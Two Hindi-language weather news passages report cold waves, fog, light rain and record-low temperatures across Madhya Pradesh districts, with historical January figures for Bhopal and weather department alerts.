24 घंटे में बारिश, कोहरा भी रहा इससे पहले भोपाल समेत 8 जिलों में हल्की बारिश हुई। ग्वालियर-इंदौर समेत 15 जिलों में सुबह कोहरा रहा। वहीं, पूरे प्रदेश में रात के तापमान में गिरावट देखने को मिली। मौसम विभाग के अनुसार, रविवार-सोमवार की रात में इंदौर में 7.6 डिग्री, उज्जैन में 9 डिग्री, भोपाल में 10 डिग्री, ग्वालियर में 10.8 डिग्री और जबलपुर में पारा 12.8 डिग्री सेल्सियस दर्ज किया गया।

रात में सबसे ठंडा धार रहा। यहां रात का पारा 6.4 डिग्री सेल्सियस दर्ज किया गया। राजगढ़ में 7 डिग्री, पचमढ़ी में 7.9 डिग्री, रतलाम में 8.5 डिग्री, गुना में 9 डिग्री, नौगांव में 9.6 डिग्री, नरसिंहपुर में 10 डिग्री, टीकमगढ़ में 10.3 डिग्री, रायसेन में 10.7 डिग्री और रीवा में 10.8 डिग्री सेल्सियस दर्ज किया गया। अन्य शहरों में भी पारे में गिरावट हुई है।

नवंबर-दिसंबर में भी रिकॉर्ड तोड़ चुकी ठंड इस बार कड़ाके की ठंड पड़ रही है। नवंबर-दिसंबर में भी ठंड रिकॉर्ड तोड़ चुकी है। नवंबर की बात करें तो भोपाल में तो 36 साल का रिकॉर्ड टूटा है। इंदौर, उज्जैन, जबलपुर और ग्वालियर में भी पारा सामान्य से 7 डिग्री तक नीचे रहा। वहीं, दिसंबर में भी ठंड ने रिकॉर्ड तोड़ा। स्थिति यह रही कि पूरे प्रदेश में जनवरी से भी ठंडा दिसंबर रहा।

भोपाल समेत कई शहरों में ठंड ने रिकॉर्ड तोड़ दिए। 9 दिन से शीतलहर चली। भोपाल में दिसंबर की सर्दी ने 58 साल का रिकॉर्ड तोड़ दिया। भोपाल, इंदौर, ग्वालियर समेत कई जिलों में स्कूलों की टाइमिंग बदल दी गई है, जबकि भोपाल के वन विहार नेशनल पार्क में जानवरों को सर्दी से बचाने के लिए हीटर लगाए गए। भगवान को भी ठंड से बचाने के लिए जतन किए गए।

MP के 5 बड़े शहरों में जनवरी में ऐसा रहा सर्दी का ट्रेंड…

भोपाल में 0.6 डिग्री पहुंच चुका टेम्प्रेचर भोपाल में जनवरी में कड़ाके की ठंड पड़ती है। वहीं, दिन में गर्मी का अहसास और बारिश का ट्रेंड भी है। 18 जनवरी 1935 को रात का टेम्प्रेचर रिकॉर्ड 0.6 डिग्री रहा था। वहीं, 26 जनवरी 2009 को दिन में तापमान 33 डिग्री दर्ज किया गया था। पिछले 10 में से 7 साल बारिश हो चुकी है।

24 घंटे में सबसे ज्यादा 2 इंच बारिश 6 जनवरी 2004 को हुई थी। वहीं, सर्वाधिक मासिक बारिश 3.8 इंच जनवरी 1948 को हुई थी।

 

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मध्य प्रदेश में कड़ाके की ठंड का असर देखने को मिला, कई जिले घने कोहरे की चपेट में https://pratyushaashakinayikiran.com/?p=117000 Fri, 03 Jan 2025 16:06:00 +0000 https://pratyushaashakinayikiran.com/?p=117000 भोपाल

 मध्य प्रदेश में ठंड ने लोगों का जनजीवन पूरी तरह अस्त व्यस्त कर दिया है। लगातार बर्फीली हवाएं चल रही है, जिसकी वजह से तापमान में गिरावट का असर नजर आ रहा है। तापमान गिरने के साथ ठिठुरन बढ़ गई है और दिन में भी सर्दी का एहसास हो रहा है।

प्रदेश के अधिकांश जिले घने कोहरे की चपेट में आ चुके हैं। सुबह-सुबह सड़कों पर दूर तक कोहरा फैला हुआ नजर आ रहा है और रात को भी यही हाल देखने को मिल रहा है। अधिकांश जिले भयानक ठंड की चपेट में हैं। चलिए जान लेते हैं कि आने वाले दिनों में मध्य प्रदेश का मौसम कैसा रहने वाला है।

बर्फीली हवाओं ने बढ़ाई ठंड

इस समय उत्तराखंड, जम्मू, लद्दाख और हिमाचल प्रदेश जैसे इलाकों में बर्फबारी हो रही है। इस बर्फबारी के चलते प्रदेश का तापमान लगातार गिर रहा है। बर्फीली हवाओं के असर से हाड़ कंपाने वाली सर्दी का सितम देखने को मिल रहा है। अधिकांश जिलों का न्यूनतम तापमान तीन से चार डिग्री तक लुढ़क गया है।

बढ़ने वाली है ठंड

फिलहाल पड़ रही ठंड ने लोगों का जीवन बुरी तरह से अस्त व्यस्त किया है, लेकिन ठंड की ये रफ्तार अभी कम नहीं होने वाली है। आने वाले दिनों में पहाड़ों से आ रही हवाओं की रफ्तार और भी तेज होगी, जिसके कारण ठंड बढ़ जाएगी। जनवरी के 20 से 22 दिन इसी तरह से शीतलहर और कोहरे की चपेट में निकलने वाले हैं।

यहां शीतलहर की चेतावनी

मौसम विभाग ने भोपाल, नर्मदापुरम, जबलपुर, रायसेन, सीधी, नौगांव, शिवपुरी, सतना, सिवनी, बालाघाट, गुना, उज्जैन, उमरिया, सिवनी में कोल्ड डे की स्थिति बने रहने की जानकारी दी है। आने वाले तीन से चार दिनों तक कोहरे और शीतलहर का अलर्ट भी जारी किया गया है।

प्रदेश में आज के मौसम की बात करें तो कई हिस्सों में सुबह से ही घना कोहरा छाया हुआ दिखाई दे रहा है। दतिया, राजगढ़, निवाड़ी, सागर, भिंड, मुरैना, छतरपुर, टीकमगढ़, उमरिया, कटनी, दमोह में घने कोहरे का अलर्ट जारी किया गया है। इन दिनों में शीतलहर का प्रकोप भी देखने को मिलेगा। मौसम विभाग द्वारा दी गई जानकारी के मुताबिक कई शहरों का तापमान 7 डिग्री से नीचे पहुंच चुका है। उज्जैन, ग्वालियर, इंदौर, जबलपुर, भोपाल में जबरदस्त ठंड पड़ रही है। अब आने वाले 3 दिनों में कड़ाके की ठंड का असर देखने को मिलेगा।

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